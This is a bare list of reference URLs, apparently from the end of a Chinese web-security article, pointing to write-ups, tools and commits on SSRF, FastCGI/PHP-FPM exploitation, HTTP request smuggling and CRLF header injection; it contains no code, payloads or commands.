参考资料
https://github.com/orangetw/Tiny-URL-Fuzzer
https://www.cnblogs.com/0xdd/p/11181490.html
https://www.freebuf.com/articles/web/159342.html
https://www.jianshu.com/p/fd27f0eedccf
https://joychou.org/web/phpssrf.html#directory099269053851112076
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
https://github.com/w181496/FuckFastcgi/
https://www.imooc.com/article/45057
http://www.cppcns.com/shujuku/mysql/110209.html
https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/
https://bugs.python.org/issue30458
http://regilero.github.io/security/english/2015/10/04/http_smuggling_in_2015_part_one/
https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262
https://github.com/ONsec-Lab/scripts/blob/master/http-splitter-fuzzer.php
https://github.com/alibaba/Sentinel/commit/6f5ede80ae0df34d8063d475204629c3fce50927